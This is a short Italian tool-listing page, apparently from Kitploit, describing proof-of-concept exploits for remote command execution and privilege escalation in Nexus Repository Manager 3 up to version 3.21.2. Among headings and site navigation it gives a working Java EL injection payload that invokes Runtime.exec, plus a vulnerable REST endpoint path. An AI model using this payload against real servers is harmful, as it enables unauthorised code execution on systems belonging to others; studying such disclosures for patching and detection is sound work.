CVE-2020-10199 — Collezione di exploit PoC per le vulnerabilità di Nexus Repository Manager 3 (CVE-2020-10199, CVE-2020-10204, CVE-2020-11444) che consentono l'esecuzione remota di codice e l'escalation dei privilegi tramite endpoint HTTP. | Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Nexus Repository Manager 3 Vuln (versioni interessate: <= 3.21.2)

CVE-2020-10199, CVE-2020-10204, CVE-2020-11444

CVE-2020-10199 Esecuzione remota di comandi

POC con output

POC senza output

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10199')}

Privilegi utente normale

/service/rest/beta/repositories/go/group

CVE-2020-10199

Più Popolari

Richiede privilegi di amministratore

CVE-2020-10204 Esecuzione remota di comandi

CVE-2020-11444 Vulnerabilità di escalation dei privilegi

Chiamare l'interfaccia di aggiornamento ruolo

Link di riferimento